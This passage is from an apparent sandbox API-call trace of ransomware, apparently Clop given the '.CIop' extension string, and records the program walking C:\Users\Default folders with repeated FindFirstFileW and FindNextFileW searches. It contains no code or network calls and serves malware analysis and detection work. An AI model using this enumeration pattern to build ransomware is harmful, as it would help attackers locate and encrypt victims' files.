[0118.070] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Default\\Documents\\My Pictures" | out: lpString1="C:\\Users\\Default\\Documents\\My Pictures") returned="C:\\Users\\Default\\Documents\\My Pictures" [0118.070] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\My Pictures", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Documents\\My Pictures\\") returned="C:\\Users\\Default\\Documents\\My Pictures\\" [0118.070] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\Default\\Documents\\My Pictures\\" | out: lpString1="C:\\Users\\Default\\Documents\\My Pictures\\") returned="C:\\Users\\Default\\Documents\\My Pictures\\" [0118.070] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\My Pictures\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Documents\\My Pictures\\*.*") returned="C:\\Users\\Default\\Documents\\My Pictures\\*.*" [0118.070] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Pictures\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0118.070] PathFindFileNameW (pszPath="C:\\Users\\Default\\Documents\\My Pictures") returned="My Pictures" [0118.070] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Pictures" | out: lpString1="My Pictures") returned="My Pictures" [0118.070] lstrlenW (lpString=".CIop") returned 5 [0118.070] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0118.070] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.070] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.070] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Default\\Documents\\My Pictures" | out: lpString1="C:\\Users\\Default\\Documents\\My Pictures") returned="C:\\Users\\Default\\Documents\\My Pictures" [0118.070] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\My Pictures", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Documents\\My Pictures\\*.*") returned="C:\\Users\\Default\\Documents\\My Pictures\\*.*" [0118.070] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Pictures\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0118.070] PathFindFileNameW (pszPath="C:\\Users\\Default\\Documents\\My Pictures") returned="My Pictures" [0118.070] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Pictures" | out: lpString1="My Pictures") returned="My Pictures" [0118.070] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0118.070] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.070] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.071] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.071] lstrcmpW (lpString1="My Videos", lpString2="..") returned 1 [0118.071] lstrcmpW (lpString1="My Videos", lpString2=".") returned 1 [0118.071] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\Default\\Documents" | out: lpString1="C:\\Users\\Default\\Documents") returned="C:\\Users\\Default\\Documents" [0118.071] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Documents\\") returned="C:\\Users\\Default\\Documents\\" [0118.071] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\", lpString2="My Videos" | out: lpString1="C:\\Users\\Default\\Documents\\My Videos") returned="C:\\Users\\Default\\Documents\\My Videos" [0118.071] SetErrorMode (uMode=0x1) returned 0x1 [0118.071] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Default\\Documents\\My Videos" | out: lpString1="C:\\Users\\Default\\Documents\\My Videos") returned="C:\\Users\\Default\\Documents\\My Videos" [0118.071] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\My Videos", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Documents\\My Videos\\") returned="C:\\Users\\Default\\Documents\\My Videos\\" [0118.071] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\Default\\Documents\\My Videos\\" | out: lpString1="C:\\Users\\Default\\Documents\\My Videos\\") returned="C:\\Users\\Default\\Documents\\My Videos\\" [0118.071] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\My Videos\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Documents\\My Videos\\*.*") returned="C:\\Users\\Default\\Documents\\My Videos\\*.*" [0118.071] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Videos\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0118.071] PathFindFileNameW (pszPath="C:\\Users\\Default\\Documents\\My Videos") returned="My Videos" [0118.071] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Videos" | out: lpString1="My Videos") returned="My Videos" [0118.071] lstrlenW (lpString=".CIop") returned 5 [0118.071] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0118.071] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.071] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.071] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Default\\Documents\\My Videos" | out: lpString1="C:\\Users\\Default\\Documents\\My Videos") returned="C:\\Users\\Default\\Documents\\My Videos" [0118.071] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\My Videos", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Documents\\My Videos\\*.*") returned="C:\\Users\\Default\\Documents\\My Videos\\*.*" [0118.071] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Videos\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0118.071] PathFindFileNameW (pszPath="C:\\Users\\Default\\Documents\\My Videos") returned="My Videos" [0118.071] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Videos" | out: lpString1="My Videos") returned="My Videos" [0118.071] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0118.071] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.071] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.071] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.071] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0118.072] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0118.072] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.072] lstrcmpW (lpString1="Downloads", lpString2="..") returned 1 [0118.072] lstrcmpW (lpString1="Downloads", lpString2=".") returned 1 [0118.072] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0118.072] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0118.072] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Downloads" | out: lpString1="C:\\Users\\Default\\Downloads") returned="C:\\Users\\Default\\Downloads" [0118.072] SetErrorMode (uMode=0x1) returned 0x1 [0118.072] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Downloads" | out: lpString1="C:\\Users\\Default\\Downloads") returned="C:\\Users\\Default\\Downloads" [0118.072] lstrcatW (in: lpString1="C:\\Users\\Default\\Downloads", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Downloads\\") returned="C:\\Users\\Default\\Downloads\\" [0118.072] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Downloads\\" | out: lpString1="C:\\Users\\Default\\Downloads\\") returned="C:\\Users\\Default\\Downloads\\" [0118.072] lstrcatW (in: lpString1="C:\\Users\\Default\\Downloads\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Downloads\\*.*") returned="C:\\Users\\Default\\Downloads\\*.*" [0118.072] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Downloads\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0118.072] PathFindFileNameW (pszPath="C:\\Users\\Default\\Downloads") returned="Downloads" [0118.072] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Downloads" | out: lpString1="Downloads") returned="Downloads" [0118.072] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.072] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.072] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0118.072] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0118.072] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Downloads" | out: lpString1="C:\\Users\\Default\\Downloads") returned="C:\\Users\\Default\\Downloads" [0118.072] lstrcatW (in: lpString1="C:\\Users\\Default\\Downloads", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Downloads\\*.*") returned="C:\\Users\\Default\\Downloads\\*.*" [0118.073] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Downloads\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0118.073] PathFindFileNameW (pszPath="C:\\Users\\Default\\Downloads") returned="Downloads" [0118.073] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Downloads" | out: lpString1="Downloads") returned="Downloads" [0118.073] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.073] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.073] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.073] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0118.073] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0118.073] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.073] lstrcmpW (lpString1="Favorites", lpString2="..") returned 1 [0118.073] lstrcmpW (lpString1="Favorites", lpString2=".") returned 1 [0118.073] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0118.073] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0118.073] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Favorites" | out: lpString1="C:\\Users\\Default\\Favorites") returned="C:\\Users\\Default\\Favorites" [0118.073] SetErrorMode (uMode=0x1) returned 0x1 [0118.073] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Favorites" | out: lpString1="C:\\Users\\Default\\Favorites") returned="C:\\Users\\Default\\Favorites" [0118.073] lstrcatW (in: lpString1="C:\\Users\\Default\\Favorites", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Favorites\\") returned="C:\\Users\\Default\\Favorites\\" [0118.073] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Favorites\\" | out: lpString1="C:\\Users\\Default\\Favorites\\") returned="C:\\Users\\Default\\Favorites\\" [0118.073] lstrcatW (in: lpString1="C:\\Users\\Default\\Favorites\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Favorites\\*.*") returned="C:\\Users\\Default\\Favorites\\*.*" [0118.073] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0118.073] PathFindFileNameW (pszPath="C:\\Users\\Default\\Favorites") returned="Favorites" [0118.073] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Favorites" | out: lpString1="Favorites") returned="Favorites" [0118.073] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.073] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.073] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0118.073] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0118.074] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Favorites" | out: lpString1="C:\\Users\\Default\\Favorites") returned="C:\\Users\\Default\\Favorites" [0118.074] lstrcatW (in: lpString1="C:\\Users\\Default\\Favorites", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Favorites\\*.*") returned="C:\\Users\\Default\\Favorites\\*.*" [0118.074] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0118.074] PathFindFileNameW (pszPath="C:\\Users\\Default\\Favorites") returned="Favorites" [0118.074] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Favorites" | out: lpString1="Favorites") returned="Favorites" [0118.074] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.074] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.074] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.074] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0118.074] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0118.074] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.074] lstrcmpW (lpString1="Links", lpString2="..") returned 1 [0118.074] lstrcmpW (lpString1="Links", lpString2=".") returned 1 [0118.074] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0118.074] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0118.074] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Links" | out: lpString1="C:\\Users\\Default\\Links") returned="C:\\Users\\Default\\Links" [0118.074] SetErrorMode (uMode=0x1) returned 0x1 [0118.074] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Links" | out: lpString1="C:\\Users\\Default\\Links") returned="C:\\Users\\Default\\Links" [0118.074] lstrcatW (in: lpString1="C:\\Users\\Default\\Links", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Links\\") returned="C:\\Users\\Default\\Links\\" [0118.074] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Links\\" | out: lpString1="C:\\Users\\Default\\Links\\") returned="C:\\Users\\Default\\Links\\" [0118.074] lstrcatW (in: lpString1="C:\\Users\\Default\\Links\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Links\\*.*") returned="C:\\Users\\Default\\Links\\*.*" [0118.074] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Links\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0118.074] PathFindFileNameW (pszPath="C:\\Users\\Default\\Links") returned="Links" [0118.074] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Links" | out: lpString1="Links") returned="Links" [0118.074] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.074] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.074] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0118.075] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0118.075] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Links" | out: lpString1="C:\\Users\\Default\\Links") returned="C:\\Users\\Default\\Links" [0118.075] lstrcatW (in: lpString1="C:\\Users\\Default\\Links", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Links\\*.*") returned="C:\\Users\\Default\\Links\\*.*" [0118.075] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Links\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0118.075] PathFindFileNameW (pszPath="C:\\Users\\Default\\Links") returned="Links" [0118.075] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Links" | out: lpString1="Links") returned="Links" [0118.075] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.075] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.075] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.075] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0118.075] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0118.075] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.075] lstrcmpW (lpString1="Local Settings", lpString2="..") returned 1 [0118.075] lstrcmpW (lpString1="Local Settings", lpString2=".") returned 1 [0118.075] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0118.075] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0118.075] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Local Settings" | out: lpString1="C:\\Users\\Default\\Local Settings") returned="C:\\Users\\Default\\Local Settings" [0118.075] SetErrorMode (uMode=0x1) returned 0x1 [0118.075] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Local Settings" | out: lpString1="C:\\Users\\Default\\Local Settings") returned="C:\\Users\\Default\\Local Settings" [0118.075] lstrcatW (in: lpString1="C:\\Users\\Default\\Local Settings", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Local Settings\\") returned="C:\\Users\\Default\\Local Settings\\" [0118.076] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Local Settings\\" | out: lpString1="C:\\Users\\Default\\Local Settings\\") returned="C:\\Users\\Default\\Local Settings\\" [0118.076] lstrcatW (in: lpString1="C:\\Users\\Default\\Local Settings\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Local Settings\\*.*") returned="C:\\Users\\Default\\Local Settings\\*.*" [0118.076] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Local Settings\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0118.076] PathFindFileNameW (pszPath="C:\\Users\\Default\\Local Settings") returned="Local Settings" [0118.076] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Local Settings" | out: lpString1="Local Settings") returned="Local Settings" [0118.076] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.076] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Local Settings" | out: lpString1="C:\\Users\\Default\\Local Settings") returned="C:\\Users\\Default\\Local Settings" [0118.076] lstrcatW (in: lpString1="C:\\Users\\Default\\Local Settings", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Local Settings\\*.*") returned="C:\\Users\\Default\\Local Settings\\*.*" [0118.076] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Local Settings\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0118.076] PathFindFileNameW (pszPath="C:\\Users\\Default\\Local Settings") returned="Local Settings" [0118.076] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Local Settings" | out: lpString1="Local Settings") returned="Local Settings" [0118.076] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.076] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.076] lstrcmpW (lpString1="Music", lpString2="..") returned 1 [0118.076] lstrcmpW (lpString1="Music", lpString2=".") returned 1 [0118.076] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0118.076] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0118.076] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Music" | out: lpString1="C:\\Users\\Default\\Music") returned="C:\\Users\\Default\\Music" [0118.076] SetErrorMode (uMode=0x1) returned 0x1 [0118.076] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Music" | out: lpString1="C:\\Users\\Default\\Music") returned="C:\\Users\\Default\\Music" [0118.076] lstrcatW (in: lpString1="C:\\Users\\Default\\Music", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Music\\") returned="C:\\Users\\Default\\Music\\" [0118.076] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Music\\" | out: lpString1="C:\\Users\\Default\\Music\\") returned="C:\\Users\\Default\\Music\\" [0118.076] lstrcatW (in: lpString1="C:\\Users\\Default\\Music\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Music\\*.*") returned="C:\\Users\\Default\\Music\\*.*" [0118.076] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Music\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0118.076] PathFindFileNameW (pszPath="C:\\Users\\Default\\Music") returned="Music" [0118.076] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Music" | out: lpString1="Music") returned="Music" [0118.076] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.076] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.076] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0118.076] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0118.077] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Music" | out: lpString1="C:\\Users\\Default\\Music") returned="C:\\Users\\Default\\Music" [0118.077] lstrcatW (in: lpString1="C:\\Users\\Default\\Music", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Music\\*.*") returned="C:\\Users\\Default\\Music\\*.*" [0118.077] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Music\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0118.077] PathFindFileNameW (pszPath="C:\\Users\\Default\\Music") returned="Music" [0118.077] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Music" | out: lpString1="Music") returned="Music" [0118.077] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.077] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.077] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.077] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0118.077] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0118.077] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.077] lstrcmpW (lpString1="My Documents", lpString2="..") returned 1 [0118.077] lstrcmpW (lpString1="My Documents", lpString2=".") returned 1 [0118.077] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0118.077] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0118.077] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="My Documents" | out: lpString1="C:\\Users\\Default\\My Documents") returned="C:\\Users\\Default\\My Documents" [0118.077] SetErrorMode (uMode=0x1) returned 0x1 [0118.077] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\My Documents" | out: lpString1="C:\\Users\\Default\\My Documents") returned="C:\\Users\\Default\\My Documents" [0118.077] lstrcatW (in: lpString1="C:\\Users\\Default\\My Documents", lpString2="\\" | out: lpString1="C:\\Users\\Default\\My Documents\\") returned="C:\\Users\\Default\\My Documents\\" [0118.077] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\My Documents\\" | out: lpString1="C:\\Users\\Default\\My Documents\\") returned="C:\\Users\\Default\\My Documents\\" [0118.077] lstrcatW (in: lpString1="C:\\Users\\Default\\My Documents\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\My Documents\\*.*") returned="C:\\Users\\Default\\My Documents\\*.*" [0118.077] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\My Documents\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0118.077] PathFindFileNameW (pszPath="C:\\Users\\Default\\My Documents") returned="My Documents" [0118.077] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="My Documents" | out: lpString1="My Documents") returned="My Documents" [0118.077] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.077] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.077] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.077] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\My Documents" | out: lpString1="C:\\Users\\Default\\My Documents") returned="C:\\Users\\Default\\My Documents" [0118.077] lstrcatW (in: lpString1="C:\\Users\\Default\\My Documents", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\My Documents\\*.*") returned="C:\\Users\\Default\\My Documents\\*.*" [0118.078] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\My Documents\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0118.078] PathFindFileNameW (pszPath="C:\\Users\\Default\\My Documents") returned="My Documents" [0118.078] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="My Documents" | out: lpString1="My Documents") returned="My Documents" [0118.078] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.078] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.078] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.078] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.078] lstrcmpW (lpString1="NetHood", lpString2="..") returned 1 [0118.078] lstrcmpW (lpString1="NetHood", lpString2=".") returned 1 [0118.078] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0118.078] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0118.078] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="NetHood" | out: lpString1="C:\\Users\\Default\\NetHood") returned="C:\\Users\\Default\\NetHood" [0118.078] SetErrorMode (uMode=0x1) returned 0x1 [0118.078] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\NetHood" | out: lpString1="C:\\Users\\Default\\NetHood") returned="C:\\Users\\Default\\NetHood" [0118.078] lstrcatW (in: lpString1="C:\\Users\\Default\\NetHood", lpString2="\\" | out: lpString1="C:\\Users\\Default\\NetHood\\") returned="C:\\Users\\Default\\NetHood\\" [0118.078] lstrcpyW (in: 